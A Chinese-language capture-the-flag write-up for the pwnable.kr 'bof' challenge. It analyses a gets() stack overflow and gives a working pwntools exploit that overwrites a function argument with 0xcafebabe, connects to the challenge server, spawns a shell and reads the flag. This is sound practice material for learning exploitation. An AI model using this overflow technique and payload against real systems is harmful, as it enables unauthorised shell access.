bof - pwnable
bof - pwnable
1.获取题目
题目给出下载链接:程序文件;源码
2. 运行程序、查看文件类型、保护措施
在本地机上运行一下程序:运行提示需要输入一个passcode,随意输入一个密码提示Nah…
查看文件类型:是32位动态链接的elf
查看保护措施:
3.分析源码
因为题目有给出源码,所以先直接查看源码分析。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){char overflowme[32];printf("overflow me : ");gets(overflowme); // smash me!if(key == 0xcafebabe){system("/bin/sh");}else{printf("Nah..\n");}
}
int main(int argc, char* argv[]){func(0xdeadbeef);return 0;
}
main应该不存在问题,只是调用func函数并传入一个参数。func函数中gets函数应该存在漏洞的,并没有限制输入的长度,容易造成栈溢出。
func函数里面的if语句判断传入的参数是否等于0xcafebabe,从而决定是否运行system函数。
那么我们的思路就是例如gets函数造成栈溢出,覆盖传入的参数值,使得等式成立。即使a1 = 0xcafebabe
将程序丢进IDA,可以看到变量s到栈底的距离是0x2CH,加上ebp和eip。变量s到变量a1内存单元的距离是0x2CH + 4 + 4
先来构造payload
from pwn import *
payload = 'A'*0x2C + 'A'*0X4 + 'A'*0x4
payload += p32(0xcafebabe)
在本地测试运行一下:system函数已经被调用了
4. 编写利用脚本
from pwn import *bof = remote('pwnable.kr','9000')#题目运行在pwnable.kr的9000端口payload = 'A'*0x2C + 'A'*0X4 + 'A'*0x4
payload += p32(0xcafebabe)bof.send(payload)
bof.interactive()#转移控制权限
//以下是获取sh之后,寻找flag
ls -l
cat flag
bof - pwnable相关推荐
- pwnable.kr 简单题目详细笔记汇总
文章目录 fd collision bof flag passcode random input leg mistake shellshock coin1 lotto cmd1 cmd2 uaf bl ...
- 简单易懂的 pwnable.kr 第三题[bof]Writeupt
简单易懂的 pwnable.kr 第三题[bof]Writeupt 题目地址:http://pwnable.kr/play.php 点开题目发现: 他给了提示覆盖,并且给了两个网址.分别打开,第一个给 ...
- pwnable.kr bof
pwnable.kr bof 同样的,既然有源代码.我们就配合着源代码来做题,这样可能更利于搞懂高级语言被反汇编之后两者之间的联系. bof.c #include <stdio.h> #i ...
- 每日一题pwnable.kr bof
需要我们计算我们输入的位置到a1位置需要填充多少字节.然后再给a1赋值即可getshell 疑问1. 怎么确定输入的位置到a1的距离? 我刚开始想这么干,直接用这个地址相减. 但是不行,这题是覆盖变量 ...
- 【pwnable.kr】 alloca
https://www.anquanke.com/post/id/170288 前言 最近在刷pwnable.kr [Rookiss],题目都好有意思,一其中题alloca虽然分值不高,但分析过程很值 ...
- pwnable.kr之Toddler‘s Bottle前八题知识点记录
pwn刷题网站地址(点击直达): http://pwnable.kr/play.php 文章目录 第一题 fd 第二题:collision 1.首先是char和int数据类型的转换 2.python实 ...
- 【pwnable.kr】Toddler‘s Bottle-[bof]
目录导航 打开题目审题 nc 命令介绍 获取服务器文件 源代码分析 ELF分析构造payload 解题 打开题目审题 Nana told me that buffer overflow is one ...
- Pwnable之[Toddler's Bottle](一)
Pwnable之[Toddler's Bottle] Pwn挑战地址 1.fd #include <stdio.h> #include <stdlib.h> #include ...
- #20145238荆玉茗《网络对抗》-逆向及Bof进阶实践
20145238荆玉茗<网络对抗>-逆向及Bof进阶实践 实践目的:注入shellcode 准备一段shellcode代码 Shellcode实际是一段代码(也可以是填充数据),是用来发送 ...
- 20145227鄢曼君《网络对抗》逆向及Bof基础
20145227鄢曼君<网络对抗>逆向及Bof基础 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任 ...
最新文章
- 信息熵与自然语言处理
- 《ASP.NET办公自动化系统开发实例导航》笔记一
- 用C#实现计算机图形学算法
- Py之Seaborn:数据可视化Seaborn库的柱状图、箱线图(置信区间图)、散点图/折线图、核密度图/等高线图、盒形图/小提琴图/LV多框图的组合图/矩阵图实现
- Altium Designer -- 差分布线和阻抗匹配
- (76)FPGA面试题-Verilog实现下降沿检测
- Eclipse 常用技巧及常见问题解决
- Delphi在代码编辑栏按回车无法换行
- python中如何导入数据包_如何在python中发送数据包?
- 如何处理Ibatis结合MySQL数据库使用时的事务操作
- 法拉科机器人编程软件_发那科 FANUC 机器人仿真软件 中文 roboguide9.1 视频教程...
- springboot简历制作
- quartus基本操作
- php 获取上周日期_php获取本周以及上周 开始 和结束的日期
- 苹果计算机快捷键设置在哪里,苹果手机快捷键小方块怎么设置 【设置方法】...
- 导出excel工具类
- 寻迹Arduino智能小车
- 【基础算法】穷举算法 (暴力枚举) C++实现
- 2万字长文盘点五种负载均衡策略
- windows Server 2008 R2安装Oracle 12c R2 报错:Failed to Create oracle Oracle Home User的解决方案。
热门文章
- STM32L151缓慢上断电-电源控制模块的使用(PVD、BOR、POR/PDR)
- 【语义分割系列:八】Segmentation 数据集 介绍下载论文
- c语言头文件inistd,Windows10 VS2017 C++ ini解析(使用simpleini头文件)
- 跟我一起水疗的哥俩儿,其实挺猛的!
- Visual studio code 使用 Team Foundation Server - Windows
- kangle安装php7.0_搭建Kangle+EasyPanel对接SWAP IDC虚拟主机自助开通完整教程
- 在Panda3d中转换Maya模型为egg格式并使用pview查看
- 【解决】gnglia报错:Can‘t open PID file /usr/local/ganglia/var/run/gmetad.pid (yet?)
- 技术QA:如何找回丢失的证书模板或将独立CA转换成企业CA?
- go语言学习-多重返回和匿名变量